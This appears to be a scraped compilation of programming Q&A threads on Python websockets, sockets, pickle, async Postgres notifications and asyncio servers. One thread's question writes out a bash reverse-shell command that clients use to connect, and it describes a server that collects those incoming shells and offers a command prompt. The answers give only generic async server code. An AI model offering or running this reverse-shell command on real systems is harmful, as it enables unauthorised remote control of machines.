Develop Reference

Failed to use websocket : websocket._exceptions.WebSocketConnectionClosedException: socket is already closed

Thank you for checking in! I've got a question about the websocket connection.
Here's a websocket class I use to subscribe to an exchange's websocket, where the connection is established in self.connectWS_public() function.
from datetime import datetime as dt
import threading
import websocket
import json
import time
class Bybit_WS_test():
def __init__ (self):
self.api_url_public = 'wss://stream.bybit.com/realtime_public'
self.api_url_private = 'wss://stream-testnet.bybit.com/realtime_private'
self.api_key = ''
self.api_secret = ''
self.ping_interval = 20
self.ping_timeout = 10
self.ws_public = None
self.ws_private = None
return
def on_message(self, ws, message):
data = json.loads(message)
print('Received message:')
print(data)
def on_error(self, ws, error):
print(f'webscoket error: {error}')
def on_close(self, ws):
print("Closing websocket connection...")
def on_pong(self, ws, message):
print('Received pong')
print(message)
def on_open(self, ws):
print('Websocket opened')
def on_ping(self, message):
dt_string = dt.now().strftime("%d/%m/%Y %H:%M:%S")
print(message)
print(f'Received ping # {dt_string}')
def connectWS_public(self):
self.ws_public = websocket.WebSocketApp(
url = self.api_url_public,
on_message = self.on_message,
on_error = self.on_error,
on_ping= self.on_ping,
on_pong= self.on_pong,
on_open= self.on_open
)
self.wst_public = threading.Thread(target=lambda: self.ws_public.run_forever(ping_interval=self.ping_interval, ping_timeout=self.ping_timeout))
self.wst_public.daemon = True
self.wst_public.start()
However, when I test the connection in another file called test.py, I always encounter the following error:
File "/Users/rickycheng/Desktop/pair-trading-bot/venv/lib/python3.7/site-packages/websocket/_socket.py", line 143, in send
raise WebSocketConnectionClosedException("socket is already closed.")
websocket._exceptions.WebSocketConnectionClosedException: socket is already closed.
Below is my test.py used to test the websocket connection:
from Bybit_api.Bybit_ws import Bybit_WS_test
import json
if __name__ == '__main__':
x = Bybit_WS_test()
x.connectWS_public()
while (x.ws_public.sock):
print(True)
topic = "orderBookL2_25.BTCUSD"
x.ws_public.send(json.dumps({"op": "subscribe",'args':[topic]}))
You may check the exchange API documentation via
https://bybit-exchange.github.io/docs/linear/#t-heartbeat

Guys I have got the solution:
In general, if you have encountered a similar error like me, it's possible that you didn't sleep the program after establishing the connection.
Try to add: time.sleep(5) after calling ws.run_forever()
This allows the websocket connection to be successfully connected before sending any request to it.

UnpicklingError on data received from socket

Context:
I have a system with a server.py file and a live_client.py. Server is constantly updating an object. The system works correctly if I send the attributes of the object (which are numbers) via sockets (cliend.send(str(obj.attribute_to_send).encode('utf-8')).
Problem:
After, I tried to send the object from the server with pickle client.send(pickle.loads(obj)). Problem occured when the the client tries to get the object back with pickle.loads(data_received). Error code: _pickle.UnpicklingError: pickle data was truncated.
server.py
async def stream_feed_clients():
obj_gen = object_generator()
global object
global STREAM_CLIENTS
async for obj in obj_gen:
object = obj
for client in STREAM_CLIENTS: #STREAM_CLIENTS:Each time a client connects, another thread stores the client in this variable
try:
client.send(pickle.dumps(obj))
except ConnectionResetError:
client.close()
print("Client disconnected!")
STREAM_CLIENTS = set(filter(lambda x: x != client, STREAM_CLIENTS))
client.py
import socket, pickle, time
from CustomClass import MyClass
HOST = 'localhost'
PORT = XXXX
try:
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((HOST, PORT))
message = {'client_type': 'LIVE'}
print('Waiting')
time.sleep(5)
print('Sending')
c.send(pickle.dumps(message)) # NOTE: This pickle works. It is used to notify the server this is a client that wants live data.
print('Message sent')
while True:
data = c.recv(4096 * 32) # I've been trying with different buffer sizes.
obj = pickle.loads(data) # ERROR OCCURS HERE: _pickle.UnpicklingError: pickle data was truncated
print(obj.a)
except KeyboardInterrupt:
print('Closing connection to server')
c.close()
print('Connection closed')
print('Exiting...')
exit()
Class code of object being sent
class MyClass:
def __init__(self, a):
self.a = a
def get_a(self):
return self.a

How to make Postgres LISTEN async (non blocking) with FastAPI websocket?

I'm trying to make the Postgress LISTEN async with FastAPI so that the WebSocket connection is not blocking while waiting for Postgres table updates.
What I got so far:
router = APIRouter()
#router.websocket("/pg_notify")
async def get_notifications(websocket: WebSocket):
await websocket.accept()
conn = psycopg2.connect("*****")
conn.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT)
curs = conn.cursor()
curs.execute("LISTEN channel;")
while True:
try:
conn.poll()
while conn.notifies:
print("Waiting for notification...")
notify = await conn.notifies.pop(0)
print(notify.payload)
except Exception as e:
print("exception triggered: ", str(e))
await websocket.close()
This way an exception is raised on the conn.notifies,pop(0):
object psycopg2.extensions.Notify can't be used in the 'await' expression

Finally the below works for me.
while True:
try:
async with aiopg.create_pool(dsn) as pool:
async with pool.acquire() as conn:
listener = listen(conn, "channel")
task_pg_listen = asyncio.create_task(listener)
result = await task_pg_listen

How can I accept new connection requests in the background?

I have the server which accepts connection requests from clients. Clients send connection requests using this command: bash -i > /dev/tcp/ip/port 0<&1 1>&1. I want my server to instantly accept new connection requests and log them to console but I don't know how. In the code below there is while loop. As we can see command_accept() need to finish itself for client_accept() to start. That means I always need to pass some command to accept new client requests. I need client_accept() to be always running in the background.
I tried to set a time limit to my input but that's not a solution I need. Also I tried different libraries for asynchronous programming though I'm not sure I'm doing this correctly.
import socket
import time
import sys
host = '127.0.0.1'
port = 1344
id_counter = 0
server = socket.socket()
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.settimeout(0.1)
server.bind((host, port))
server.listen()
clients = {}
def client_accept(server):
while True:
try:
conn, addr = server.accept()
global id_counter
id_counter += 1
clients[id_counter] = (conn, addr)
print(f'{time.ctime()} New client [ID {id_counter}] with address {str(addr[0])}:{str(addr[1])}')
except socket.timeout:
break
def command_accept():
command = input('server > ')
#** don't pay attention **#
if command == 'exit':
sys.exit()
else:
print(f'command {command} accepted!')
while True:
command_accept()
client_accept(server)
Expected result: I don't pass anything to the input in command_accept and yet if new client sent request then the server will instantly accept it and print something like New client [ID 1] with address 127.0.0.1:45431.

Try to do that with socket.io and Threading, so if the socket got a ON_CONNECT event you can just push the information in a list and print it to the console.

as an excuse to experiment with the trio async library I ported your code to it
start by defining a simple class for client connections and the code to keep track of them:
from sys import stderr
from itertools import count
class Client:
def __init__(self, stream):
self.stream = stream
async def run(self):
lines = LineReader(self.stream)
while True:
line = (await lines.readline()).decode('ascii')
if not line or line.strip().casefold() in {'quit', 'exit'}:
await self.stream.send_all(b'bye!\r\n')
break
resp = f'got {line!r}'
await self.stream.send_all(resp.encode('ascii') + b'\r\n')
CLIENT_COUNTER = count()
CLIENTS = {}
async def handle_client(stream):
client_id = next(CLIENT_COUNTER)
client = Client(stream)
async with stream:
CLIENTS[client_id] = client
try:
await client.run()
except Exception as err:
print('client failed', err, file=stderr)
finally:
del CLIENTS[client_id]
LineReader comes from here: https://stackoverflow.com/a/53576829/1358308
next we can define the server stdin processing:
async def handle_local(nursery):
while True:
try:
command = await async_input('server > ')
except EOFError:
command = 'exit'
if command == 'exit':
nursery.cancel_scope.cancel()
elif command == 'list':
for id, client in CLIENTS.items():
print(id, client.stream.socket.getpeername())
else:
print(f'unknown command {command!r}')
check out the docs for info about nurseries
this uses a utility function to wrap input up into an async function.
import trio
async def async_input(prompt=None):
return await trio.run_sync_in_worker_thread(
input, prompt, cancellable=True)
then we define code to tie all the pieces together:
SERVE_HOST = 'localhost'
SERVE_PORT = 1344
async def async_main():
async with trio.open_nursery() as nursery:
nursery.start_soon(handle_local, nursery)
await trio.serve_tcp(
handle_client,
port=SERVE_PORT, host=SERVE_HOST,
handler_nursery=nursery)
trio.run(async_main)
some more links/references (by trio's author):
tutorial echo server
motivation behind the trio library

python 3.6 coroutine was never awaited

So when ever I run my program and connect to it with the echo client it gives me this error.
Starting server
Serving on ('127.0.0.1', 8881)
Exception in callback UVTransport._call_connection_made
handle: <Handle UVTransport._call_connection_made>
Traceback (most recent call last):
File "uvloop/cbhandles.pyx", line 52, in uvloop.loop.Handle._run (uvloop/loop.c:48414)
File "uvloop/handles/tcp.pyx", line 141, in uvloop.loop.TCPTransport._call_connection_made (uvloop/loop.c:80488)
File "uvloop/handles/basetransport.pyx", line 140, in uvloop.loop.UVBaseTransport._call_connection_made (uvloop/loop.c:65774)
File "uvloop/handles/basetransport.pyx", line 137, in uvloop.loop.UVBaseTransport._call_connection_made (uvloop/loop.c:65671)
AttributeError: 'coroutine' object has no attribute 'connection_made'
/home/kenton/Programming/bridal/bridal-middle/middle/lib/server.py:16:RuntimeWarning: coroutine 'handle_request' was never awaited
loop.run_forever()
As far as I know I have everything that should be awaited awaited.
Here is the code:
class Server:
def __init__(self, port):
asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
loop = asyncio.get_event_loop()
server = loop.run_until_complete(self.init(loop))
print("Serving on {}".format(server.sockets[0].getsockname()))
try:
loop.run_forever()
except KeyboardInterrupt:
print("\rclosing the server")
pass
server.close()
loop.run_until_complete(server.wait_closed())
loop.close()
async def init(self, loop):
server = await loop.create_server(self.handle_request, '127.0.0.1', 8881)
return server
async def handle_request(self):
print(datetime.datetime.now())
reader = asyncio.StreamReader()
writer = asyncio.StreamWriter()
data = await reader.read(100)
message = data.decode()
addr = writer.get_extra_info('peername')
code = message.partition('-')
if code[0].startswith("1") or code[0].startswith("5"):
accounts = lib.settings.database.accounts
if code[0] == "101":
result = await self.login_101(code, accounts, writer)
if code[0] == "501":
result = await accounts.find_one({"username":code[2]})
print("looking up", code[0])
#code logic to keep asking for a valid username if one exists
if result is None:
username = code[2]
print(username, " does not exist. Creating")
writer.write(b"0")
await writer.drain()
data = await reader.read(100)
message = data.decode()
code = message.partition('-')
post = {"username":username,"password":code[0],"email":code[2]}
post_id = await accounts.insert_one(post).inserted_id
writer.write(b(post_id))
await writer.drain()
print("Closed the client socket")
writer.close()
print(datetime.datetime.now())

Regarding your error message, the actual error is:
AttributeError: 'coroutine' object has no attribute 'connection_made'
And the line below is just a warning (RuntimeWarning: coroutine 'handle_request' was never awaited).
You might be mixing asyncio.start_server with loop.create_server().
loop.create_server()'s first parameter is protocol_factory which is a callable that returns an instance of a Protocol (and not a coroutine as in your code above):
import asyncio
class MyProtocol(asyncio.Protocol):
def connection_made(self, transport):
print("Connection made", transport)
def data_received(self, data):
print("Data received", data)
loop = asyncio.get_event_loop()
# Each client connection will create a new protocol instance
coro = loop.create_server(MyProtocol, '127.0.0.1', 8888)
server = loop.run_until_complete(coro)
loop.run_forever()
See full echo server example here.